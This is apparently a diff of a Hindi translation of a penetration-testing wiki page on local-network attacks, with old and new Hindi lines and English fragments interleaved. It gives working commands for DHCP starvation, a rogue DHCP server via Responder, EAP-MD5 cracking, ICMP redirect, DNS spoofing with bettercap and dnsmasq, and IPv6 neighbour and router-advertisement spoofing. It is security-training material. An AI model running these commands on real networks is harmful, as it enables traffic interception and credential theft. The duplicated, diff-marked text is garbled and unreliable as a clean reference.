यह हमला केवल तब काम करेगा जब आप DHCP server की responses देख सकें और protocol पूरा कर सकें (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). उदाहरण के लिए, यह **Wifi networks में संभव नहीं है**।
|
||||
|
||||
DHCP DoS करने का एक और तरीका है **DHCP-RELEASE पैकेट भेजना जिसमें स्रोत कोड के रूप में हर संभव IP हो**। तब, सर्वर सोचेगा कि सभी ने IP का उपयोग करना समाप्त कर दिया है।
|
||||
DHCP DoS करने का एक और तरीका है **DHCP-RELEASE packet को भेजना जिसमें source के रूप में हर संभव IP इस्तेमाल किया गया हो**। इसके बाद server सोच जाएगा कि हर किसी ने IP का उपयोग समाप्त कर लिया है।
|
||||
```bash
|
||||
yersinia dhcp -attack 1
|
||||
yersinia dhcp -attack 3 #More parameters are needed
|
||||
```
|
||||
एक अधिक स्वचालित तरीका यह है कि आप उपकरण [DHCPing](https://github.com/kamorin/DHCPig) का उपयोग करें।
|
||||
A more automatic way of doing this is using the tool [DHCPing](https://github.com/kamorin/DHCPig)
|
||||
|
||||
आप उल्लेखित DoS हमलों का उपयोग करके क्लाइंट को वातावरण के भीतर नए लीज़ प्राप्त करने के लिए मजबूर कर सकते हैं, और वैध सर्वरों को समाप्त कर सकते हैं ताकि वे अनुत्तरदायी हो जाएं। इसलिए जब वैध पुनः कनेक्ट करने की कोशिश करते हैं, **आप अगले हमले में उल्लेखित दुर्भावनापूर्ण मान सर्वर कर सकते हैं**।
|
||||
आप उल्लेखित DoS attacks का उपयोग clients को environment के भीतर नए leases प्राप्त करने के लिए मजबूर करने और legitimate servers को exhaust करने के लिए कर सकते हैं ताकि वे unresponsive हो जाएँ। जब legitimate पुन: कनेक्ट करने की कोशिश करते हैं, **आप अगले हमले में बताए गए malicious values सर्व कर सकते हैं**।
|
||||
|
||||
#### दुर्भावनापूर्ण मान सेट करें
|
||||
#### Set malicious values
|
||||
|
||||
एक धोखेबाज़ DHCP सर्वर को `/usr/share/responder/DHCP.py` पर स्थित DHCP स्क्रिप्ट का उपयोग करके सेट किया जा सकता है। यह नेटवर्क हमलों के लिए उपयोगी है, जैसे HTTP ट्रैफ़िक और क्रेडेंशियल्स को कैप्चर करना, ट्रैफ़िक को एक दुर्भावनापूर्ण सर्वर पर रीडायरेक्ट करके। हालाँकि, एक धोखेबाज़ गेटवे सेट करना कम प्रभावी है क्योंकि यह केवल क्लाइंट से आउटबाउंड ट्रैफ़िक को कैप्चर करने की अनुमति देता है, वास्तविक गेटवे से प्रतिक्रियाएँ छूट जाती हैं। इसके बजाय, एक धोखेबाज़ DNS या WPAD सर्वर सेट करना अधिक प्रभावी हमले के लिए अनुशंसित है।
|
||||
A rogue DHCP server can be set up using the DHCP script located at `/usr/share/responder/DHCP.py`. यह network attacks के लिए उपयोगी है, जैसे कि HTTP traffic और credentials को capture करना, ट्रैफ़िक को एक malicious server पर redirect करके। हालांकि, rogue gateway सेट करना कम प्रभावी है क्योंकि यह केवल client से outbound traffic capture करने में सक्षम बनाता है, जिससे real gateway के responses मिस हो जाते हैं। इसके बजाय, एक अधिक प्रभावी हमला करने के लिए rogue DNS या WPAD server सेट करने की सिफारिश की जाती है।
|
||||
|
||||
नीचे धोखेबाज़ DHCP सर्वर को कॉन्फ़िगर करने के लिए कमांड विकल्प दिए गए हैं:
|
||||
Below are the command options for configuring the rogue DHCP server:
|
||||
|
||||
- **हमारा IP पता (गेटवे विज्ञापन)**: अपने मशीन के IP को गेटवे के रूप में विज्ञापित करने के लिए `-i 10.0.0.100` का उपयोग करें।
|
||||
- **स्थानीय DNS डोमेन नाम**: वैकल्पिक रूप से, स्थानीय DNS डोमेन नाम सेट करने के लिए `-d example.org` का उपयोग करें।
|
||||
- **मूल राउटर/गेटवे IP**: वैध राउटर या गेटवे के IP पते को निर्दिष्ट करने के लिए `-r 10.0.0.1` का उपयोग करें।
|
||||
- **प्राथमिक DNS सर्वर IP**: आप जिस धोखेबाज़ DNS सर्वर को नियंत्रित करते हैं, उसके IP पते को सेट करने के लिए `-p 10.0.0.100` का उपयोग करें।
|
||||
- **द्वितीयक DNS सर्वर IP**: वैकल्पिक रूप से, द्वितीयक DNS सर्वर IP सेट करने के लिए `-s 10.0.0.1` का उपयोग करें।
|
||||
- **स्थानीय नेटवर्क का नेटमास्क**: स्थानीय नेटवर्क के लिए नेटमास्क को परिभाषित करने के लिए `-n 255.255.255.0` का उपयोग करें।
|
||||
- **DHCP ट्रैफ़िक के लिए इंटरफ़ेस**: एक विशिष्ट नेटवर्क इंटरफ़ेस पर DHCP ट्रैफ़िक सुनने के लिए `-I eth1` का उपयोग करें।
|
||||
- **WPAD कॉन्फ़िगरेशन पता**: वेब ट्रैफ़िक इंटरसेप्शन में सहायता करने के लिए WPAD कॉन्फ़िगरेशन के लिए पता सेट करने के लिए `-w “http://10.0.0.100/wpad.dat”` का उपयोग करें।
|
||||
- **डिफ़ॉल्ट गेटवे IP को स्पूफ करें**: डिफ़ॉल्ट गेटवे IP पते को स्पूफ करने के लिए `-S` शामिल करें।
|
||||
- **सभी DHCP अनुरोधों का उत्तर दें**: सभी DHCP अनुरोधों का उत्तर देने के लिए `-R` शामिल करें, लेकिन ध्यान रखें कि यह शोरगुल वाला है और इसे पता लगाया जा सकता है।
|
||||
- **Our IP Address (Gateway Advertisement)**: Use `-i 10.0.0.100` to advertise your machine's IP as the gateway.
|
||||
- अपने मशीन के IP को gateway के रूप में घोषित करने के लिए `-i 10.0.0.100` का उपयोग करें।
|
||||
- **Local DNS Domain Name**: Optionally, use `-d example.org` to set a local DNS domain name.
|
||||
- वैकल्पिक रूप से, लोकल DNS domain नाम सेट करने के लिए `-d example.org` का उपयोग करें।
|
||||
- **Original Router/Gateway IP**: Use `-r 10.0.0.1` to specify the IP address of the legitimate router or gateway.
|
||||
- वास्तविक router/gateway का IP निर्दिष्ट करने के लिए `-r 10.0.0.1` का उपयोग करें।
|
||||
- **Primary DNS Server IP**: Use `-p 10.0.0.100` to set the IP address of the rogue DNS server you control.
|
||||
- अपने द्वारा नियंत्रित rogue DNS server का IP सेट करने के लिए `-p 10.0.0.100` का उपयोग करें।
|
||||
- **Secondary DNS Server IP**: Optionally, use `-s 10.0.0.1` to set a secondary DNS server IP.
|
||||
- विकल्पानुसार, सेकंडरी DNS server IP सेट करने के लिए `-s 10.0.0.1` का उपयोग करें।
|
||||
- **Netmask of Local Network**: Use `-n 255.255.255.0` to define the netmask for the local network.
|
||||
- लोकल नेटवर्क का netmask परिभाषित करने के लिए `-n 255.255.255.0` का उपयोग करें।
|
||||
- **Interface for DHCP Traffic**: Use `-I eth1` to listen for DHCP traffic on a specific network interface.
|
||||
- किसी विशिष्ट नेटवर्क interface पर DHCP traffic सुनने के लिए `-I eth1` का उपयोग करें।
|
||||
- **WPAD Configuration Address**: Use `-w “http://10.0.0.100/wpad.dat”` to set the address for WPAD configuration, assisting in web traffic interception.
|
||||
- WPAD configuration के लिए address सेट करने के लिए `-w “http://10.0.0.100/wpad.dat”` का उपयोग करें, जो web traffic interception में मदद करेगा।
|
||||
- **Spoof Default Gateway IP**: Include `-S` to spoof the default gateway IP address.
|
||||
- default gateway IP को spoof करने के लिए `-S` शामिल करें।
|
||||
- **Respond to All DHCP Requests**: Include `-R` to make the server respond to all DHCP requests, but be aware that this is noisy and can be detected.
|
||||
- server को सभी DHCP requests का उत्तर देने के लिए `-R` शामिल करें, पर ध्यान रखें कि यह noisy होता है और detect किया जा सकता है।
|
||||
|
||||
इन विकल्पों का सही उपयोग करके, एक धोखेबाज़ DHCP सर्वर स्थापित किया जा सकता है जो नेटवर्क ट्रैफ़िक को प्रभावी ढंग से इंटरसेप्ट करता है।
|
||||
By correctly using these options, a rogue DHCP server can be established to intercept network traffic effectively.
|
||||
```python
|
||||
# Example to start a rogue DHCP server with specified options
|
||||
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
|
||||
```
|
||||
### **EAP हमले**
|
||||
|
||||
यहाँ कुछ हमले की रणनीतियाँ हैं जो 802.1X कार्यान्वयन के खिलाफ उपयोग की जा सकती हैं:
|
||||
यहाँ कुछ हमले की रणनीतियाँ दी गई हैं जो 802.1X के क्रियान्वयन के खिलाफ इस्तेमाल की जा सकती हैं:
|
||||
|
||||
- EAP के माध्यम से सक्रिय ब्रूट-फोर्स पासवर्ड ग्राइंडिंग
|
||||
- गलत EAP सामग्री के साथ RADIUS सर्वर पर हमला _\*\*_(exploits)
|
||||
- EAP संदेश कैप्चर और ऑफ़लाइन पासवर्ड क्रैकिंग (EAP-MD5 और PEAP)
|
||||
- TLS प्रमाणपत्र मान्यता को बायपास करने के लिए EAP-MD5 प्रमाणीकरण को मजबूर करना
|
||||
- हब या समान का उपयोग करके प्रमाणीकरण करते समय दुर्भावनापूर्ण नेटवर्क ट्रैफ़िक इंजेक्ट करना
|
||||
- EAP के माध्यम से सक्रिय brute-force पासवर्ड क्रैकिंग
|
||||
- त्रुटिपूर्ण EAP content के साथ RADIUS server पर हमला _\*\*_(exploits)
|
||||
- EAP संदेश कैप्चर और ऑफलाइन पासवर्ड क्रैकिंग (EAP-MD5 और PEAP)
|
||||
- TLS certificate validation को bypass करने के लिए EAP-MD5 authentication को मजबूर करना
|
||||
- प्रमाणीकरण होने पर hub या इसी तरह के डिवाइस का उपयोग करके हानिकारक नेटवर्क ट्रैफिक इंजेक्ट करना
|
||||
|
||||
यदि हमलावर पीड़ित और प्रमाणीकरण सर्वर के बीच है, तो वह प्रमाणीकरण प्रोटोकॉल को EAP-MD5 में घटाने (यदि आवश्यक हो) और प्रमाणीकरण प्रयास को कैप्चर करने की कोशिश कर सकता है। फिर, वह इसे ब्रूट-फोर्स कर सकता है:
|
||||
यदि हमलावर शिकार और authentication server के बीच में है, तो वह (आवश्यक होने पर) authentication protocol को EAP-MD5 तक degrade करने की कोशिश कर सकता है और authentication प्रयास को capture कर सकता है। फिर, वह इसे brute-force कर सकता है, उपयोग करके:
|
||||
```
|
||||
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
|
||||
```
|
||||
### FHRP (GLBP & HSRP) Attacks <a href="#id-6196" id="id-6196"></a>
|
||||
### FHRP (GLBP & HSRP) हमले <a href="#id-6196" id="id-6196"></a>
|
||||
|
||||
**FHRP** (First Hop Redundancy Protocol) एक नेटवर्क प्रोटोकॉल की श्रेणी है जिसे **एक गर्म अतिरिक्त रूटिंग प्रणाली** बनाने के लिए डिज़ाइन किया गया है। FHRP के साथ, भौतिक राउटर को एकल तार्किक डिवाइस में जोड़ा जा सकता है, जो दोष सहिष्णुता को बढ़ाता है और लोड को वितरित करने में मदद करता है।
|
||||
**FHRP** (First Hop Redundancy Protocol) नेटवर्क प्रोटोकॉल की एक श्रेणी है जो **एक हॉट रेडंडेंट रूटिंग सिस्टम बनाने** के लिए डिज़ाइन की गई है। FHRP के साथ, physical routers को एक single logical device में जोड़ा जा सकता है, जिससे fault tolerance बढ़ती है और load को वितरित करने में मदद मिलती है।
|
||||
|
||||
**Cisco Systems के इंजीनियरों ने दो FHRP प्रोटोकॉल विकसित किए हैं, GLBP और HSRP।**
|
||||
|
||||
@ -550,55 +567,55 @@ glbp-and-hsrp-attacks.md
|
||||
|
||||
### RIP
|
||||
|
||||
Routing Information Protocol (RIP) के तीन संस्करण ज्ञात हैं: RIP, RIPv2, और RIPng। RIP और RIPv2 द्वारा डाटाग्राम को UDP के माध्यम से पोर्ट 520 पर साथियों को भेजा जाता है, जबकि RIPng द्वारा डाटाग्राम को IPv6 मल्टीकास्ट के माध्यम से UDP पोर्ट 521 पर प्रसारित किया जाता है। RIPv2 द्वारा MD5 प्रमाणीकरण का समर्थन पेश किया गया था। दूसरी ओर, RIPng द्वारा स्वदेशी प्रमाणीकरण शामिल नहीं किया गया है; इसके बजाय, IPv6 में वैकल्पिक IPsec AH और ESP हेडर पर निर्भरता रखी जाती है।
|
||||
Routing Information Protocol (RIP) के तीन संस्करण मौजूद हैं: RIP, RIPv2, और RIPng। RIP और RIPv2 UDP का उपयोग करके datagrams को peers को पोर्ट 520 पर भेजते हैं, जबकि RIPng IPv6 multicast के माध्यम से datagrams को UDP पोर्ट 521 पर broadcast करता है। RIPv2 में MD5 authentication का समर्थन जोड़ा गया था। दूसरी तरफ, RIPng में native authentication शामिल नहीं है; इसके बजाय यह IPv6 में विकल्प के रूप में मौजूद IPsec AH और ESP headers पर निर्भर करता है।
|
||||
|
||||
- **RIP और RIPv2:** संचार UDP डाटाग्राम के माध्यम से पोर्ट 520 पर किया जाता है।
|
||||
- **RIPng:** IPv6 मल्टीकास्ट के माध्यम से डाटाग्राम प्रसारित करने के लिए UDP पोर्ट 521 का उपयोग करता है।
|
||||
- **RIP and RIPv2:** संचार UDP datagrams के माध्यम से पोर्ट 520 पर किया जाता है।
|
||||
- **RIPng:** IPv6 multicast के माध्यम से UDP पोर्ट 521 का उपयोग करके datagrams broadcast करता है।
|
||||
|
||||
ध्यान दें कि RIPv2 MD5 प्रमाणीकरण का समर्थन करता है जबकि RIPng स्वदेशी प्रमाणीकरण शामिल नहीं करता है, IPv6 में IPsec AH और ESP हेडर पर निर्भर करता है।
|
||||
ध्यान दें कि RIPv2 MD5 authentication का समर्थन करता है जबकि RIPng native authentication शामिल नहीं करता और IPv6 में IPsec AH और ESP headers पर निर्भर करता है।
|
||||
|
||||
### EIGRP Attacks
|
||||
### EIGRP हमले
|
||||
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** एक गतिशील रूटिंग प्रोटोकॉल है। **यह एक दूरी-वेक्तर प्रोटोकॉल है।** यदि **कोई प्रमाणीकरण** और निष्क्रिय इंटरफेस का कॉन्फ़िगरेशन नहीं है, तो एक **आक्रमणकारी** EIGRP रूटिंग में हस्तक्षेप कर सकता है और **रूटिंग तालिकाओं को विषाक्त** कर सकता है। इसके अलावा, EIGRP नेटवर्क (दूसरे शब्दों में, स्वायत्त प्रणाली) **समतल है और किसी भी क्षेत्र में विभाजित नहीं है**। यदि एक **हमलावर एक मार्ग इंजेक्ट करता है**, तो यह संभावना है कि यह मार्ग **स्वायत्त EIGRP प्रणाली में फैल जाएगा**।
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** एक dynamic routing protocol है। **यह एक distance-vector protocol है।** यदि authentication और passive interfaces को configure नहीं किया गया है, तो एक intruder EIGRP routing में हस्तक्षेप कर सकता है और routing tables को poison कर सकता है। इसके अलावा, EIGRP नेटवर्क (यानी autonomous system) flat होता है और इसमें कोई segmentation या zones नहीं होते। यदि कोई attacker कोई route inject करता है, तो संभव है कि वह route पूरे autonomous EIGRP सिस्टम में फैल जाए।
|
||||
|
||||
EIGRP प्रणाली पर हमला करने के लिए **एक वैध EIGRP राउटर के साथ पड़ोस स्थापित करना आवश्यक है**, जो बुनियादी अन्वेषण से लेकर विभिन्न इंजेक्शनों तक कई संभावनाओं को खोलता है।
|
||||
EIGRP सिस्टम पर हमला करने के लिए एक legitimate EIGRP router के साथ neighbourhood स्थापित करना आवश्यक होता है, जिससे basic reconnaissance से लेकर विभिन्न types के injections तक कई संभावनाएँ खुल जाती हैं।
|
||||
|
||||
[**FRRouting**](https://frrouting.org/) आपको **BGP, OSPF, EIGRP, RIP और अन्य प्रोटोकॉल का समर्थन करने वाले एक आभासी राउटर को लागू करने की अनुमति देता है।** आपको बस इसे अपने हमलावर के सिस्टम पर तैनात करना है और आप वास्तव में रूटिंग डोमेन में एक वैध राउटर होने का नाटक कर सकते हैं।
|
||||
[**FRRouting**](https://frrouting.org/) आपको एक virtual router implement करने की अनुमति देता है जो BGP, OSPF, EIGRP, RIP और अन्य protocols को support करता है। बस इसे attacker के system पर deploy करें और आप routing domain में एक legitimate router होने का नाटक कर सकते हैं।
|
||||
|
||||
|
||||
{{#ref}}
|
||||
eigrp-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
[**Coly**](https://code.google.com/p/coly/) EIGRP (Enhanced Interior Gateway Routing Protocol) प्रसारणों को इंटरसेप्ट करने की क्षमताएँ रखता है। यह पैकेट इंजेक्ट करने की भी अनुमति देता है, जिसका उपयोग रूटिंग कॉन्फ़िगरेशन को बदलने के लिए किया जा सकता है।
|
||||
[**Coly**](https://code.google.com/p/coly/) में EIGRP (Enhanced Interior Gateway Routing Protocol) broadcasts को intercept करने की क्षमता है। यह packets को inject करने की भी अनुमति देता है, जिसे routing configurations बदलने के लिए उपयोग किया जा सकता है।
|
||||
|
||||
### OSPF
|
||||
|
||||
Open Shortest Path First (OSPF) प्रोटोकॉल में **राउटर के बीच सुरक्षित संचार सुनिश्चित करने के लिए सामान्यतः MD5 प्रमाणीकरण का उपयोग किया जाता है**। हालाँकि, इस सुरक्षा उपाय को Loki और John the Ripper जैसे उपकरणों का उपयोग करके समझौता किया जा सकता है। ये उपकरण MD5 हैश को कैप्चर और क्रैक करने में सक्षम हैं, जिससे प्रमाणीकरण कुंजी उजागर होती है। एक बार जब यह कुंजी प्राप्त हो जाती है, तो इसका उपयोग नए रूटिंग जानकारी को पेश करने के लिए किया जा सकता है। रूट पैरामीटर को कॉन्फ़िगर करने और समझौता की गई कुंजी स्थापित करने के लिए, _Injection_ और _Connection_ टैब का उपयोग किया जाता है।
|
||||
Open Shortest Path First (OSPF) प्रोटोकॉल में routers के बीच secure संचार सुनिश्चित करने के लिए आम तौर पर MD5 authentication का उपयोग किया जाता है। हालाँकि, यह सुरक्षा उपाय Loki और John the Ripper जैसे tools से समझौता किया जा सकता है। ये tools MD5 hashes को capture और crack करने में सक्षम हैं, जिससे authentication key उजागर हो जाती है। एक बार यह key मिल जाने पर, इसे नए routing सूचना introduce करने के लिए उपयोग किया जा सकता है। route parameters configure करने और compromised key सेट करने के लिए क्रमशः _Injection_ और _Connection_ tabs का उपयोग किया जाता है।
|
||||
|
||||
- **MD5 हैश को कैप्चर और क्रैक करना:** इस उद्देश्य के लिए Loki और John the Ripper जैसे उपकरणों का उपयोग किया जाता है।
|
||||
- **रूट पैरामीटर कॉन्फ़िगर करना:** यह _Injection_ टैब के माध्यम से किया जाता है।
|
||||
- **समझौता की गई कुंजी सेट करना:** कुंजी _Connection_ टैब के तहत कॉन्फ़िगर की जाती है।
|
||||
- **MD5 Hashes को capture और crack करना:** इसके लिए Loki और John the Ripper जैसे tools का उपयोग किया जाता है।
|
||||
- **Route Parameters को configure करना:** यह _Injection_ tab के माध्यम से किया जाता है।
|
||||
- **Compromised Key सेट करना:** यह key _Connection_ tab में configure की जाती है।
|
||||
|
||||
### Other Generic Tools & Sources
|
||||
### अन्य सामान्य टूल और स्रोत
|
||||
|
||||
- [**Above**](https://github.com/c4s73r/Above): नेटवर्क ट्रैफ़िक को स्कैन करने और कमजोरियों को खोजने के लिए उपकरण
|
||||
- आप **नेटवर्क हमलों के बारे में कुछ और जानकारी** [**यहाँ**](https://github.com/Sab0tag3d/MITM-cheatsheet) पा सकते हैं।
|
||||
- [**Above**](https://github.com/c4s73r/Above): नेटवर्क ट्रैफ़िक स्कैन करने और vulnerabilities खोजने का टूल
|
||||
- नेटवर्क हमलों के बारे में अधिक जानकारी आप [**here**](https://github.com/Sab0tag3d/MITM-cheatsheet) पर पा सकते हैं।
|
||||
|
||||
## **Spoofing**
|
||||
|
||||
हमलावर नेटवर्क के नए सदस्य के सभी नेटवर्क पैरामीटर (GW, IP, DNS) को नकली DHCP प्रतिक्रियाएँ भेजकर कॉन्फ़िगर करता है।
|
||||
attacker fake DHCP responses भेजकर नेटवर्क के नए सदस्य के सभी network parameters (GW, IP, DNS) को configure कर देता है।
|
||||
```bash
|
||||
Ettercap
|
||||
yersinia dhcp -attack 2 #More parameters are needed
|
||||
```
|
||||
### ARP Spoofing
|
||||
|
||||
Check the [previous section](#arp-spoofing).
|
||||
देखें [previous section](#arp-spoofing).
|
||||
|
||||
### ICMPRedirect
|
||||
|
||||
ICMP Redirect एक ICMP पैकेट प्रकार 1 कोड 5 भेजने पर आधारित है जो यह संकेत करता है कि हमलावर IP तक पहुँचने का सबसे अच्छा तरीका है। फिर, जब पीड़ित IP से संपर्क करना चाहता है, तो वह पैकेट को हमलावर के माध्यम से भेजेगा।
|
||||
ICMP Redirect में एक ICMP packet type 1 code 5 भेजना शामिल है, जो संकेत देता है कि attacker किसी IP तक पहुँचने का सबसे अच्छा रास्ता है। फिर, जब victim उस IP से संपर्क करना चाहता है, तो वह packet attacker के माध्यम से भेजेगा।
|
||||
```bash
|
||||
Ettercap
|
||||
icmp_redirect
|
||||
@ -606,18 +623,18 @@ hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw
|
||||
```
|
||||
### DNS Spoofing
|
||||
|
||||
हमलावर कुछ (या सभी) डोमेन को हल करेगा जो पीड़ित पूछता है।
|
||||
आक्रमणकारी पीड़ित द्वारा मांगे गए कुछ (या सभी) डोमेन्स को resolve करेगा।
|
||||
```bash
|
||||
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
|
||||
```
|
||||
**dnsmasq के साथ अपना DNS कॉन्फ़िगर करें**
|
||||
**अपने DNS को dnsmasq के साथ कॉन्फ़िगर करें**
|
||||
```bash
|
||||
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
|
||||
dig @localhost domain.example.com # Test the configured DNS
|
||||
```
|
||||
### स्थानीय गेटवे
|
||||
|
||||
प्रणालियों और नेटवर्कों के लिए अक्सर कई मार्ग होते हैं। स्थानीय नेटवर्क के भीतर MAC पतों की एक सूची बनाने के बाद, IPv4 फॉरवर्डिंग का समर्थन करने वाले होस्ट की पहचान करने के लिए _gateway-finder.py_ का उपयोग करें।
|
||||
सिस्टम और नेटवर्क के लिए अक्सर कई रास्ते मौजूद रहते हैं। स्थानीय नेटवर्क के भीतर MAC addresses की सूची बनाने के बाद, IPv4 forwarding का समर्थन करने वाले hosts की पहचान करने के लिए _gateway-finder.py_ का उपयोग करें।
|
||||
```
|
||||
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
|
||||
root@kali:~# cd gateway-finder/
|
||||
@ -637,35 +654,35 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
||||
```
|
||||
### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
स्थानीय होस्ट समाधान के लिए जब DNS लुकअप असफल होते हैं, Microsoft सिस्टम **Link-Local Multicast Name Resolution (LLMNR)** और **NetBIOS Name Service (NBT-NS)** पर निर्भर करते हैं। इसी तरह, **Apple Bonjour** और **Linux zero-configuration** कार्यान्वयन नेटवर्क के भीतर सिस्टम खोजने के लिए **Multicast DNS (mDNS)** का उपयोग करते हैं। इन प्रोटोकॉल की प्रमाणीकरण रहित प्रकृति और UDP पर उनके संचालन के कारण, संदेशों का प्रसारण करते हुए, हमलावरों द्वारा उपयोगकर्ताओं को दुर्भावनापूर्ण सेवाओं की ओर मोड़ने के लिए इनका शोषण किया जा सकता है।
|
||||
जब DNS lookups विफल होते हैं तो लोकल होस्ट रिज़ॉल्यूशन के लिए Microsoft सिस्टम **Link-Local Multicast Name Resolution (LLMNR)** और **NetBIOS Name Service (NBT-NS)** पर निर्भर करते हैं। इसी तरह, नेटवर्क में सिस्टम खोजने के लिए **Apple Bonjour** और **Linux zero-configuration** इम्प्लीमेंटेशन **Multicast DNS (mDNS)** का उपयोग करते हैं। इन प्रोटोकॉल्स की प्रमाणीकरण-रहित प्रकृति और UDP पर ब्रॉडकास्ट संदेशों के कारण, हमलावर इन्हें उपयोग करके उपयोगकर्ताओं को दुर्भावनापूर्ण सेवाओं की ओर रिडायरेक्ट कर सकते हैं।
|
||||
|
||||
आप Responder का उपयोग करके होस्ट द्वारा खोजी गई सेवाओं की नकल कर सकते हैं ताकि नकली प्रतिक्रियाएँ भेजी जा सकें।\
|
||||
[Responder के साथ सेवाओं की नकल कैसे करें](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) के बारे में अधिक जानकारी यहाँ पढ़ें।
|
||||
आप Responder का उपयोग करके उन सेवाओं की नकल कर सकते हैं जिन्हें होस्ट्स खोज रहे होते हैं और नकली उत्तर भेज सकते हैं.\
|
||||
Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
ब्राउज़र आमतौर पर **Web Proxy Auto-Discovery (WPAD) प्रोटोकॉल का उपयोग करते हैं ताकि स्वचालित रूप से प्रॉक्सी सेटिंग्स प्राप्त की जा सकें**। इसमें एक सर्वर से कॉन्फ़िगरेशन विवरण प्राप्त करना शामिल है, विशेष रूप से "http://wpad.example.org/wpad.dat" जैसे URL के माध्यम से। क्लाइंट द्वारा इस सर्वर की खोज विभिन्न तंत्रों के माध्यम से हो सकती है:
|
||||
ब्राउज़र्स आमतौर पर प्रॉक्सी सेटिंग्स अपने आप प्राप्त करने के लिए **Web Proxy Auto-Discovery (WPAD) protocol** का उपयोग करते हैं। इसके लिए कॉन्फ़िगरेशन विवरण सर्वर से फ़ेच किए जाते हैं, आमतौर पर ऐसे URL के माध्यम से: "http://wpad.example.org/wpad.dat"। क्लाइंट्स द्वारा इस सर्वर की खोज विभिन्न तंत्रों से हो सकती है:
|
||||
|
||||
- **DHCP** के माध्यम से, जहाँ खोज को विशेष कोड 252 प्रविष्टि का उपयोग करके सुगम बनाया जाता है।
|
||||
- **DNS** द्वारा, जिसमें स्थानीय डोमेन के भीतर _wpad_ नामक होस्टनाम की खोज करना शामिल है।
|
||||
- **Microsoft LLMNR और NBT-NS** के माध्यम से, जो उन मामलों में बैकअप तंत्र के रूप में उपयोग किए जाते हैं जहाँ DNS लुकअप सफल नहीं होते हैं।
|
||||
- Through **DHCP**, where the discovery is facilitated by utilizing a special code 252 entry.
|
||||
- By **DNS**, which involves searching for a hostname labeled _wpad_ within the local domain.
|
||||
- Via **Microsoft LLMNR and NBT-NS**, which are fallback mechanisms used in cases where DNS lookups do not succeed.
|
||||
|
||||
टूल Responder इस प्रोटोकॉल का लाभ उठाकर **दुर्भावनापूर्ण WPAD सर्वर** के रूप में कार्य करता है। यह DHCP, DNS, LLMNR, और NBT-NS का उपयोग करके क्लाइंट को अपने से जोड़ने के लिए भ्रामक बनाता है। Responder का उपयोग करके सेवाओं की नकल कैसे की जा सकती है, इसके बारे में अधिक जानने के लिए [यहाँ देखें](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。
|
||||
Responder टूल इस प्रोटोकॉल का फायदा उठाकर **malicious WPAD server** की तरह कार्य करता है। यह DHCP, DNS, LLMNR, और NBT-NS का उपयोग करके क्लाइंट्स को गुमराह कर उन्हें इसके साथ कनेक्ट करवा देता है। To dive deeper into how services can be impersonated using Responder [check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
|
||||
|
||||
आप नेटवर्क में विभिन्न सेवाएँ प्रदान कर सकते हैं ताकि **एक उपयोगकर्ता को** कुछ **सादा-पाठ क्रेडेंशियल्स** दर्ज करने के लिए **धोखा दिया जा सके**। **इस हमले के बारे में अधिक जानकारी** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)** में है।**
|
||||
आप नेटवर्क में विभिन्न सेवाएँ ऑफर कर सकते हैं ताकि किसी उपयोगकर्ता को धोखा देकर कुछ **plain-text credentials** दर्ज करवाए जा सकें। **More information about this attack in** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
|
||||
|
||||
### IPv6 Neighbor Spoofing
|
||||
|
||||
यह हमला ARP Spoofing के समान है लेकिन IPv6 दुनिया में। आप पीड़ित को यह सोचने के लिए मजबूर कर सकते हैं कि GW का IPv6 हमलावर का MAC है।
|
||||
यह हमला ARP Spoofing के बहुत समान है लेकिन IPv6 दुनिया में। आप पीड़ित को यह भरोसा दिला सकते हैं कि GW के IPv6 पते का MAC हमलावर के MAC जैसा है।
|
||||
```bash
|
||||
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
|
||||
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
|
||||
```
|
||||
### IPv6 राउटर विज्ञापन धोखाधड़ी/बाढ़
|
||||
### IPv6 Router Advertisement Spoofing/Flooding
|
||||
|
||||
कुछ OS डिफ़ॉल्ट रूप से नेटवर्क में भेजे गए RA पैकेट्स से गेटवे को कॉन्फ़िगर करते हैं। हमलावर को IPv6 राउटर घोषित करने के लिए आप उपयोग कर सकते हैं:
|
||||
कुछ OS डिफ़ॉल्ट रूप से नेटवर्क में भेजे गए RA पैकेट्स से गेटवे कॉन्फ़िगर कर लेते हैं। हमलावर को IPv6 router घोषित करने के लिए आप निम्नलिखित का उपयोग कर सकते हैं:
|
||||
```bash
|
||||
sysctl -w net.ipv6.conf.all.forwarding=1 4
|
||||
ip route add default via <ROUTER_IPv6> dev wlan0
|
||||
@ -673,7 +690,7 @@ fake_router6 wlan0 fe80::01/16
|
||||
```
|
||||
### IPv6 DHCP spoofing
